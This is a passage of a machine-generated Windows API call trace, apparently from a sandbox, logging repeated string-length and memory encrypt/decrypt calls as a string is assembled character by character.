(param_1="ghL4QJAV9oGD0Bh妤") returned 0x10 [0136.953] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.953] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\xdd1c\xe04c\x7e88\xb456\x2c24\x534e\x8765\x728f") returned 0x10 [0136.953] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\xdd1c\xe04c\x7e88\xb456\x2c24\x534e\x8765\x728f") returned 0x10 [0136.953] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.953] SysStringLen (param_1="ghL4QJAV9oGD0Bh8") returned 0x10 [0136.953] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.953] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507") returned 0x10 [0136.953] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507") returned 0x10 [0136.953] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507") returned 0x10 [0136.953] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507") returned 0x18 [0136.953] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.953] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pኁ㝝踈먒⮨㜟◔") returned 0x18 [0136.953] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.953] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\x6872\xd16e\x6c96\xe39d\xb74d\xe48f\xfea8\x6884") returned 0x18 [0136.953] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\x6872\xd16e\x6c96\xe39d\xb74d\xe48f\xfea8\x6884") returned 0x18 [0136.953] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.953] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI㝝踈먒⮨㜟◔") returned 0x18 [0136.953] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.953] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\x5bec\x1122\x586a\x49a1\x8a4d\x59f2\xd386\xea3a") returned 0x18 [0136.953] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\x5bec\x1122\x586a\x49a1\x8a4d\x59f2\xd386\xea3a") returned 0x18 [0136.953] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.954] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9踈먒⮨㜟◔") returned 0x18 [0136.954] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.954] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\x747b\xa8fd\x3b75\x2e53\x2166\xf63\x6248\xfc08") returned 0x18 [0136.954] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\x747b\xa8fd\x3b75\x2e53\x2166\xf63\x6248\xfc08") returned 0x18 [0136.954] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.954] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9M먒⮨㜟◔") returned 0x18 [0136.954] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.954] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xce5c\xb38a\x46bf\xdd0a\xf76e\x9a70\xebdb\x856a") returned 0x18 [0136.954] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xce5c\xb38a\x46bf\xdd0a\xf76e\x9a70\xebdb\x856a") returned 0x18 [0136.954] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.954] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9Ml⮨㜟◔") returned 0x18 [0136.954] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.954] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\x271e\x9e80\x7d2a\x3ec8\x74b2\xcf46\x97dc\xdb03") returned 0x18 [0136.954] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\x271e\x9e80\x7d2a\x3ec8\x74b2\xcf46\x97dc\xdb03") returned 0x18 [0136.954] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.954] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9Mlm㜟◔") returned 0x18 [0136.954] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.954] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf7d5\x92e5\x62fd\x1dfc\xa65\xb972\x7fa1\xfc02") returned 0x18 [0136.954] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf7d5\x92e5\x62fd\x1dfc\xa65\xb972\x7fa1\xfc02") returned 0x18 [0136.954] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.954] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL◔") returned 0x18 [0136.954] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.955] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\x72a3\xe69e\x198d\x4d27\x5cc\x8ae3\x5642\xfd3a") returned 0x18 [0136.955] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\x72a3\xe69e\x198d\x4d27\x5cc\x8ae3\x5642\xfd3a") returned 0x18 [0136.955] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.955] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1") returned 0x18 [0136.955] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.955] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965") returned 0x18 [0136.955] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965") returned 0x18 [0136.956] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965") returned 0x18 [0136.956] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965") returned 0x20 [0136.956] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.956] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1S曽䘤䳘肷聢榶") returned 0x20 [0136.956] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.956] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\x149\x8100\x8f9e\xdd08\x4325\x616a\x6ca5\xb4ff") returned 0x20 [0136.956] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\x149\x8100\x8f9e\xdd08\x4325\x616a\x6ca5\xb4ff") returned 0x20 [0136.956] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.956] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SX䘤䳘肷聢榶") returned 0x20 [0136.956] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.956] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\x6041\xd8f3\xe4bf\xebe7\xed6a\x8023\xf596\x1602") returned 0x20 [0136.956] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\x6041\xd8f3\xe4bf\xebe7\xed6a\x8023\xf596\x1602") returned 0x20 [0136.956] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.956] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ䳘肷聢榶") returned 0x20 [0136.956] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.956] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xceb\x44ef\x1930\x6849\x7e5d\xfac\x31a7\xcee1") returned 0x20 [0136.956] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xceb\x44ef\x1930\x6849\x7e5d\xfac\x31a7\xcee1") returned 0x20 [0136.956] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.957] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9䳘肷聢榶") returned 0x20 [0136.957] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.957] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\x3f34\x2f1a\x1fe4\xdffc\xb201\xfd66\xd3ac\x54b6") returned 0x20 [0136.957] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\x3f34\x2f1a\x1fe4\xdffc\xb201\xfd66\xd3ac\x54b6") returned 0x20 [0136.957] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.957] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n肷聢榶") returned 0x20 [0136.957] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.957] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\x7c03\x8739\x44cf\x8f1c\x730d\x48bd\x455c\xe2b2") returned 0x20 [0136.957] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\x7c03\x8739\x44cf\x8f1c\x730d\x48bd\x455c\xe2b2") returned 0x20 [0136.957] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.957] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3聢榶") returned 0x20 [0136.957] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.957] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\x6638\x1ded\xc061\x7e4\xb093\x2f41\xf0df\x74b7") returned 0x20 [0136.957] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\x6638\x1ded\xc061\x7e4\xb093\x2f41\xf0df\x74b7") returned 0x20 [0136.957] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.957] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3N榶") returned 0x20 [0136.957] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.957] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xdf3f\xef31\x6688\x2a7a\x769a\x9e3e\xbb9e\x3de") returned 0x20 [0136.957] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xdf3f\xef31\x6688\x2a7a\x769a\x9e3e\xbb9e\x3de") returned 0x20 [0136.957] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.957] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3Nj") returned 0x20 [0136.957] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.958] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452") returned 0x20 [0136.958] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452") returned 0x20 [0136.958] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452") returned 0x20 [0136.958] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452") returned 0x28 [0136.958] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.958] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3Nj7Ꚋഖ႖ひ떑॔䒁") returned 0x28 [0136.958] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.958] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xd4fc\x9a79\x3c9e\x137f\xed06\xbb71\x6d\x3b5a") returned 0x28 [0136.958] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xd4fc\x9a79\x3c9e\x137f\xed06\xbb71\x6d\x3b5a") returned 0x28 [0136.958] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.958] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3Nj7jഖ႖ひ떑॔䒁") returned 0x28 [0136.958] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.958] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\x9596\x8c31\xed1f\xff73\x8b37\x4897\xd1e2\x13e4") returned 0x28 [0136.958] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\x9596\x8c31\xed1f\xff73\x8b37\x4897\xd1e2\x13e4") returned 0x28 [0136.958] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.958] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3Nj7jg႖ひ떑॔䒁") returned 0x28 [0136.958] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.958] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\x33ea\xdedb\x18c5\xc644\x80e\x10ab\x3a16\xe791") returned 0x28 [0136.958] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\x33ea\xdedb\x18c5\xc644\x80e\x10ab\x3a16\xe791") returned 0x28 [0136.958] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.958] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3Nj7jgoひ떑॔䒁") returned 0x28 [0136.958] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.958] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\x665a\xe2b7\x6d4a\xf0c1\xe237\xce96\x8ad6\x244") returned 0x28 [0136.958] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\x665a\xe2b7\x6d4a\xf0c1\xe237\xce96\x8ad6\x244") returned 0x28 [0136.959] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.959] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3Nj7jgos떑॔䒁") returned 0x28 [0136.959] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.959] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xbce8\x63e4\xd848\x5caa\xd423\xf41d\x314c\x55f4") returned 0x28 [0136.959] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xbce8\x63e4\xd848\x5caa\xd423\xf41d\x314c\x55f4") returned 0x28 [0136.959] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.959] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3Nj7jgos2॔䒁") returned 0x28 [0136.959] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.959] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xf487\xe6a9\x740e\x6ea\xa76f\xe2fb\xf11e\xb510") returned 0x28 [0136.959] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xf487\xe6a9\x740e\x6ea\xa76f\xe2fb\xf11e\xb510") returned 0x28 [0136.959] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.959] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3Nj7jgos23䒁") returned 0x28 [0136.959] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.959] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\x8079\x830e\x7e7b\xd47f\xca49\xa119\x7901\xe15d") returned 0x28 [0136.959] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\x8079\x830e\x7e7b\xd47f\xca49\xa119\x7901\xe15d") returned 0x28 [0136.959] SystemFunction041 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.959] SysStringLen (param_1="ghL4QJAV9oGD0Bh8pI9MlmL1SXQ9n3Nj7jgos23q") returned 0x28 [0136.959] SystemFunction040 (in: Memory=0x8ebff6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebff6c) returned 0x0 [0136.959] SysStringLen (param_1="\x89b2\xf0b4\x15ff\xc371\x209d\xf7c9\x2e\x6977\x419e\x12ab\x4415\x8f0e\x7ed2\x3f3d\x72e4\x1507\xf1f9\x66d7\x356c\xeaba\x8818\x9422\xc599\x5965\xbd5d\xa6a0\x7e5e\x1190\xf4b2\xa104\x4caf\x7452\xac08\xd6c6\x1bf6\x3069\xb466\xf3a5\xd9fa\x92e3") returned 0x28 [0136.959] SysStringLen 